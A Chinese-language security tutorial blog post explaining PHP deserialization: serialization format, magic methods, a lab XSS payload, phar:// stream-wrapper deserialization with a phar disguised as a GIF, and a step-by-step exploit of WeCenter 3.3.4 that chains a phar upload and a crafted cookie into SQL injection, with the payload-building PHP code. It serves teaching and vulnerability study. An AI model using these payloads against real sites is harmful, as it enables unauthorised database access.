Web安全 | PHP反序列化入門這一篇就夠了

2022-01-25 Hacking黑白紅

序列化


搞懂反序列化漏洞的前提,先搞懂什麼是序列化:

序列化說通俗點就是把一個對象變成可以傳輸的字符串。

 

序列化實際是為了傳輸的方便,以整個對象為單位進行傳輸, 而序列化一個對象將會保存對象的所有變量,但是不會保存對象的方法,只會保存類的名字。如果了解底層的同學可以知道,類中的方法本就不在類中。

而在php中,使用函數serialize()來返回一個包含字節流的字符串來表示

比如:

class S{

public $test="sd";

}

$s=new S(); //創建一個對象

serialize($s); //把這個對象進行序列化

序列化的結果是:

O:1:"S":1:{s:4:"test";s:2:"sd";}

代表的含義依次是:

O:代表object

1:代表對象名字長度為一個字符

S:對象的名稱

1:代表對象裡面有一個變量

s:數據類型(string)

4:變量名稱的長度

test:變量名稱

s:數據類型

2:變量值的長度

sd:變量值

順便說一下PHP 對不同類型的數據用不同的字母進行標示

a - array

b - boolean

d - double

i - integer

o - common object

r - reference

s - string

C - custom object

O - class

N - null

R - pointer reference

U - unicode string

反序列化


就是把被序列化的字符串還原為對象,然後在接下來的代碼中繼續使用。

使用unserialize()函數

$u=unserialize("O:1:"S":1:{s:4:"test";s:2:"sd";}");

echo $u->test; //得到的結果為sd

反序列化安全


序列化和反序列化本身沒有問題,但是如果反序列化的內容是用戶可以控制的,且後臺不正當的使用了PHP中的魔法函數,就會導致安全問題

有哪些php常見的魔法函數:

__construct() 當一個對象創建時被調用

__destruct() 當一個對象銷毀前被調用

__sleep() 在對象被序列化前被調用

__wakeup 將在反序列化之後立即被調用

__toString 當一個對象被當做字符串使用時被調用

__get(),__set() 當調用或設置一個類及其父類方法中未定義的屬性時

__invoke() 調用函數的方式調用一個對象時的回應方法

__call 和 __callStatic前者是調用類不存在的方法時執行,而後者是調用類不存在的靜態方式方法時執行。

有面向對象編程基礎的同學應該很多都能看懂,比如__contruct():c++中的構造函數,java中的構造器;__destruct():c++中的析構函數.java的自動回收機制:finalize()

靶場實戰


了解了序列化、反序列化、php魔法函數,先來看一個靶場,嘗試反序列化構造payload

payload


看一下題目,已知反序列化入口

先隨便輸點東西看看

這裡既然是反序列化接口,就需要輸入我們序列化的字符串,比如插入我們剛剛的payload

O:1:"S":1:{s:4:"test";s:2:"sd";}

不僅於此,構造xss

O:1:"S":1:{s:4:"test";s:28:"<script>alert('sd')</script>";}

漏洞原理分析

先看源碼

<?php$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);

if ($SELF_PAGE = "unser.php"){$ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');}

$PIKA_ROOT_DIR = "../../";include_once $PIKA_ROOT_DIR.'header.php';

class S{var $test = "pikachu";function __construct(){echo $this->test;}}$html='';if(isset($_POST['o'])){$s = $_POST['o'];if(!@$unser = unserialize($s)){$html.="<p>大兄弟,來點勁爆點兒的!</p>";}else{$html.="<p>{$unser->test}</p>";}}?>

漏洞成因:


一.參數可控


從源碼可以看到反序列化的變量是post請求的,post請求變量名為o,通過抓包發現我們輸入框輸入的值,正好賦值給Post變量o

 

 

二.實現了unserialize()函數


這一點是肯定的,沒有這個函數這裡肯定就無法反序列化

三.調用了魔法函數


__construct函數可利用

四.沒有過濾


沒有對傳參進行過濾,否則無法構成目的Payload。

 

實戰中要更具情況來構造payload,能利用的漏洞也遠不止xss

phar://偽協議


除了unserialize反序列化之外 ,另一種能夠反序列化方式是利用 phar:// 協議觸發反序列化,前提是完全可控的文件名。

這個方法是在BlackHat 大會上的 Sam Thomas 分享了 File Operation Induced Unserialization via the 「phar://」 Stream Wrapper ,該研究員指出該方法在文件系統函數 ( file_get_contents 、 unlink 等)參數可控的情況下,配合 phar://偽協議 ,可以不依賴反序列化函數 unserialize() 直接進行反序列化的操作

什麼是phar


官方文檔:

https://www.php.net/manual/zh/book.phar.php

簡單來說,phar是PHP提供的一種壓縮和歸檔的方案,並且還提供了各種處理它的方法。

phar結構


由四部分組成:

一:stub

即用來標識phar 文件的部分,類似MZ頭。格式為

<?phpPhar::mapPhar();include 'phar://phar.phar/index.php';

二:manifest describing the contents

phar文件本質上是一種壓縮文件,其中每個被壓縮文件的權限、屬性等信息都放在這部分,也存儲用戶自定義的meta-data,這是用來攻擊的入口,最核心的地方

三:the file contents

被壓縮文件的內容

:signature for verifying Phar integrity

可選項,即籤名。

demo

根據phar文件結構我們來自己構建一個phar文件,php內置了一個Phar類來處理相關操作。

注意:要將php.ini中的phar.readonly選項設置為Off,否則無法生成phar文件。不要只讀

如果修改了之後在phpinfo上還是On的話記得把這行最前面的分號刪掉,這樣就行了

 

<?phpclass TestObject {}@unlink("1.phar");$phar = new Phar("1.phar"); $phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new TestObject();$phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering();?>

訪問該php頁面,會在文件當前目錄下生成一個phar文件

很明顯的序列化特徵,TestObject這個類已經以序列化形式儲存

有序列化,必然有反序列化來處理,php一大部分的文件系統函數在通過phar://偽協議解析phar文件時,都會將meta-data進行反序列化,測試後受影響的函數如下:

fileatime    filectime        filemtime    file_exists    file_get_contents    file_put_contents

file filegroup fopen fileinode fileowner fileperms

is_dir is_file is_link is_executable is_readable is_writeable

is_wirtble parse_ini_file copy unlink stat readfile

將phar文件偽裝為gif


phar在設計時,只要求前綴為__HALT_COMPILER();而後綴或者內容並未設限,可以構造文件繞過上傳

<?phpclass TestObject {}
@unlink("sd.phar");$phar = new Phar("sd.phar");$phar->startBuffering();$phar->setStub("GIF89a","<?php __HALT_COMPILER(); ?>"); $o = new TestObject();$o->data='sd!';$phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering();?>

<?phpinclude('phar://sd.gif');class TestObject {    function __destruct(){        echo $this->data;    }}?>

成功將meta-data中data數據反序列化出來

總結


利用條件:

phar文件要能夠上傳到伺服器端。

要有可用的魔術方法作為「跳板」。

文件操作函數的參數可控,且:、/、phar等特殊字符沒有被過濾。

WeCenter3.3.4反序列化造成sql注入


這個洞有點老了,但不影響學習分析


cms下載地址:

http://www.wecenter.com/downloads/

在這個版本的cms中存在多個反序列化POP鏈,如果我們想利用這些 POP 鏈,就必須找到可控的反序列化點。WeCenter 中就存在可控的文件名,能夠利用phar偽協議

 定位到漏洞文件./system/aws_model.inc.php

 析構函數遍歷了$this->_shutdown_query變量,然後帶入了$this->query()函數,跟一下

public function query($sql, $limit = null, $offset = null, $where = null){$this->slave();

if (!$sql){throw new Exception('Query was empty.');}

if ($where){$sql .= ' WHERE ' . $where;}

if ($limit){$sql .= ' LIMIT ' . $limit;}

if ($offset){$sql .= ' OFFSET ' . $offset;}

if (AWS_APP::config()->get('system')->debug){$start_time = microtime(TRUE);}

try {$result = $this->db()->query($sql);} catch (Exception $e) {show_error("Database error\n-\n\nSQL: {$sql}\n\nError Message: " . $e->getMessage(), $e->getMessage());}

if (AWS_APP::config()->get('system')->debug){AWS_APP::debug_log('database', (microtime(TRUE) - $start_time), $sql);}

return $result;}

並沒有任何的過濾,如果$this->_shutdown_query變量參數可控,那麼就可以造成sql注入

利用反序列化的方式,可以重置$this->_shutdown_query的值。

再看./models/account.php

public function associate_remote_avatar($uid, $headimgurl){if (!$headimgurl){return false;}

if (!$user_info = $this->get_user_info_by_uid($uid)){return false;}

if ($user_info['avatar_file']){return false;}

if (!$avatar_stream = file_get_contents($headimgurl)){return false;}

$avatar_location = get_setting('upload_dir') . '/avatar/' . $this->get_avatar($uid, '');

$avatar_dir = dirname($avatar_location) . '/';if (!file_exists($avatar_dir)){make_dir($avatar_dir);}

associate_remote_avatar函數將傳進來的$headimgurl沒有經過任何過濾直接傳入了文件操作函數file_get_contents中,這個系統函數正好就在受影響的範圍之內。全局搜索associate_remote_avatar

./app/account/ajax.php

這個函數調用了associate_remote_avatar,而 $headimgurl 值來源於 $wxuser['headimgurl'],這個$wxuser實際上是資料庫users_weixin 表中的相關數據,如果有insert,update就好了

./models/openid/weixin/weixin.php

找到了資料庫users_weixin 表,headimgurl 對應 $access_user['headimgurl'],並且$access_user 為函數被調用時傳入的參數,繼續找哪裡調用了bind_account 方法

./app/m/weixin.php

$WXConnect的值來源於COOKIE,而$access_user來源於$WXConnect['access_user'],而cookile是可控的,file_get_contents有了完全可控的參數,我們就可以利用 phar:// 協議觸發反序列化

漏洞利用

註冊一個帳號

選擇發起一個問題,並上傳一個圖片

上傳一個phar文件,但改後綴為gif

<?phpclass AWS_MODEL{private $_shutdown_query = array();

public function __construct(){$this->_shutdown_query['test'] = "SELECT UPDATEXML(1, concat(0xa, user(), 0xa), 1)";}}$a = new AWS_MODEL;$phar = new Phar("11.phar");$phar->startBuffering();$phar->setStub("GIF89a"."__HALT_COMPILER();");$phar->setMetadata($a);$phar->addFromString("test.txt","123");$phar->stopBuffering();?>

上傳到伺服器

 這裡會返回絕對路徑

編造payload

<?php$arr = array();$arr['access_token'] = array('openid' => '1');$arr['access_user'] = array();$arr['access_user']['openid'] = 1;$arr['access_user']['nickname'] = 'admin';$arr['access_user']['headimgurl'] = 'phar://uploads/question/20210606/ca6820646810c27e025258594bb905ea.gif';echo json_encode($arr);?>

帶入cookie,並訪問app/m/weixin.php下的binding_action,顯示"綁定微信成功"

最後訪問app/account/ajax.php下的synch_img_action,注入成功

 

參考


WeCenter3.3.4前臺SQL注入&任意文件刪除&RCE

某Center v3.3.4 從前臺反序列化任意SQL語句執行到前臺RCE

利用 phar 拓展 php 反序列化漏洞攻擊面


投稿作者:Buffer

推薦閱讀:


相關焦點

  • PHP反序列化漏洞說明
    序列化可以將對象轉換成字符串,但僅保留對象裡的成員變量,不保留函數方法。PHP序列化的函數為serialize,反序列化的函數為unserialize.舉個慄子:<?反序列化反序列化就是序列化的逆過程,即對於將對象進行序列化後的字符串,還原其成員變量的過程。接上述慄子:<?
  • PHP反序列化筆記
    \x00 + 類名 + \x00 + 變量名 ‐> 反序列化為private變量\x00 + * + \x00 + 變量名 ‐> 反序列化為protected變量<?file=Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9PHP Session 反序列化PHP的3種序列化處理器PHP 內置了多種處理器用於存取$_SESSION數據時會對數據進行序列化和反序列化,常用的有以下三種,對應三種不同的處理格式
  • php反序列化
    >Thinkphp5.0,5.1版本均存在反序列化,而且切入點都一樣,但因為thinkphp本身沒有反序列化入口,所以不被重視。我用的的版本是5.1.35版本先手動創造反序列化入口\application\index\controller\index.php增加$u = @unserialize($_GET['c']);http://luoke.cn:81/public/index.php?c=xxxxxxxxxxxx
  • 原理+實踐掌握(PHP反序列化和Session反序列化)
    本文轉自先知社區:https://xz.aliyun.com/t/7366前言:最近又接觸了幾道php反序列化的題目,覺得對反序列化的理解又加深了一點,這次就在之前的學習的基礎上進行補充。通過以上例子,便可以理解了概念中的通過serialize()函數返回一個包含字節流的字符串這一段話。0x01:PHP反序列化函數:unserialize()unserialize() 對單一的已序列化的變量進行操作,將其轉換回 PHP 的值。
  • PHP反序列化
    雲智信安、雲窟實驗室擁有對此文章的修改和最終解釋函數介紹serialize()函數該函數用於將實例化的對象序列化,或者序列化數組序列化對象<?>得到結果a:3:{i:0;s:2:"l1";i:1;s:2:"l2";i:2;s:2:"l3";}每個字符都有各自的意義,從這兩個得到的序列化結果也可以看出來o表示對象,a表示數組,s表示字符,i表示數字 s:後面的數字表示又多少個字符。
  • PHP反序列化漏洞基礎
    一、PHP序列化和反序列化1、PHP反序列化:將變量或者對象轉換成字符串的過程,用於存儲或傳遞PHP的值的過程種,同時不丟失其類型和結構。②在反序列的時候php會根據s所指定的字符長度去讀取後面的字符。如果指定的長度錯誤則反序列化就會失敗。2、session反序列化(1)session概念PHP session時一個特殊的變量,用於存儲有關用戶會話的信息,或更改用戶會話的設置。session變量保存的信息是單一用戶的,並且可供應用程式中的所有界面使用。
  • 乾貨 | PHP反序列化原理及不同類別反序列化漏洞總結
    PHP中有三種序列化處理器,如下:處理器對應的存儲格式php鍵名 + 豎線 + 經過serialize()函數反序列化處理的值php_binary鍵名的長度對應的ASCII字符 + 鍵名 + 經過serialize()函數反序列化處理的值php_serialize(php>=5.5.4)經過serialize()函數反序列處理的數組配置文件
  • 常見的 Web 漏洞 —— 反序列化漏洞
    前段時間因各種原因,終於下定決心好好總結一下反序列化漏洞,耗時兩周,且看且珍惜!Vulnerability Introduction反序列化漏洞首次出現在2015年。雖然漏洞較新,但利用十分熱門,主要原因還是太過信任客戶端提交的數據,容易被開發者忽略,該漏洞一般都可執行任意命令或代碼,造成的影響較大。
  • PHP反序列化漏洞簡介及相關技巧小結
    php程序為了保存和轉儲對象,提供了序列化的方法,php序列化是為了在程序運行的過程中對對象進行轉儲而產生的。序列化可以將對象轉換成字符串,但僅保留對象裡的成員變量,不保留函數方法。php序列化的函數為serialize。反序列化的函數為unserialize。
  • 看代碼學安全(11) - unserialize反序列化漏洞
    漏洞解析:(上圖代碼第11行正則表達式應改為:』/O:d:/『)題目考察對php反序列化函數的利用。代碼 11行 ,第一個if,截取前兩個字符,判斷反序列化內容是否為對象,如果為對象,返回為空。php可反序列化類型有String,Integer,Boolean,Null,Array,Object。去除掉Object後,考慮採用數組中存儲對象進行繞過。
  • php 序列化與反序列化
    反序列化的問題,打算這篇文章寫一下php反序列化。 ' (length=10)可以看到__destruct方法在整個序列化過程結束時才會調用,調用的次數取決於序列化和反序列化的次數,__construct方法在new對象時調用,並不在序列化過程中調用,__wakeup和__sleep方法不再支持與調用 介紹完php序列化的基本內容,捎帶講一下常見的php序列化漏洞繞過:
  • Yii2 反序列化漏洞復現分析
    Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在調用unserialize() 時,攻擊者可通過構造特定的惡意請求執行任意命令。2、環境安裝到github上下載yii2的2.0.37版本解壓之後,修改/config/web.php文件17行cookieValidationKey,可以隨便定義然後進入目錄php yii serve啟動
  • PHP反序列漏洞
    String : s:size:value;Integer : i:value;Boolean : b:value;(保存1或0)Null : N;Array : a:size:{key definition;value definition;(repeated per element)}0x2 反序列化  PHP反序列化為序列化的逆向過程
  • Java安全之反序列化漏洞分析
    在Java中,只要一個類實現了java.io.Serializable接口,那麼它就可以通過ObjectInputStream與ObejctOutputStream序列化,如下我們模擬了Session對象持久化存儲與從磁碟加載的過程:結合注釋,這段測試代碼應該不難理解,我們可以看到Java對象序列化就依賴於ObejctOutputStream的writeObject
  • 技術乾貨 | PHP序列化漏洞原理
    這兩個過程結合起來,可以輕鬆地存儲和傳輸數據,使程序更具維護性。常見的php系列化和反系列化方式主要有:serialize,unserialize;json_encode,json_decode。這肯定是不現實的。serialize和unserialize就是用來解決這一問題的。*serialize可以將變量 轉換為字符串並且在轉換中可以保存當前變量的值;unserialize則可以將serialize生成的字符串變換回變量。*讓我們在下面代碼中添加序 列化的例子,看看php對象序列化之後的格式。
  • SoapClient反序列化SSRF
    序列化中的魔術方法留言或私信獲取連結construct(), destruct(), call(), callStatic(), get(), set(), isset(), unset(), sleep(), wakeup(), toString(), invoke()
  • 淺談Python Pickle反序列化
    在目前(我)已知的反序列化漏洞中,有PHP、Python以及Java語言的反序列化漏洞,且漏洞利用的方式多種多樣。這次就先學習一下Python Pickle反序列化漏洞。基礎知識什麼是反序列化序列化說白了就是將對象轉換成字節流,便於保存在內存、文件或者是資料庫中;反序列化則是序列化的逆過程,將字節流還原成對象。
  • 文庫 | 反序列化漏洞匯總
    不安全的反序列化是指網站對用戶可控制的數據進行反序列化時,攻擊者能夠操縱序列化的對象,以將有害數據傳遞到應用程式代碼中。這意味著即使網站自身的功能未直接與惡意對象進行交互,反序列化過程本身也可以發起攻擊。因此,其邏輯基於強類型語言的網站也可能容易受到這些技術的攻擊。漏洞成因會出現不安全的反序列化,是因為人們普遍缺乏對用戶可控制數據進行反序列化的危險程度的了解。理想情況下,絕對不應該對用戶輸入數據進行反序列化。
  • DASCTF-Esunserialize(反序列化字符逃逸)
    而值是兩個空字節和一個*,一共才3個字節,所以後面反序列化的時候會報錯。其實報錯的原因不是因為字符串長度不匹配,而是因為取了六個字符之後,後面字符的格式不符合序列化字符串格式,才會報錯。例如:取六個字符之後username的值為*";s:(其中還有一個空字節)。後面的格式不符合序列化字符串格式,拋出錯誤。PS:我個人理解是這樣的。
  • 【技術分享】Laravel7反序列化POP鏈分析挖掘
    安裝好後在 routes\web.php 添加路由Route::get('/index', "IndexController@index");然後在 app\Http\Controllers 目錄下添加 IndexController.php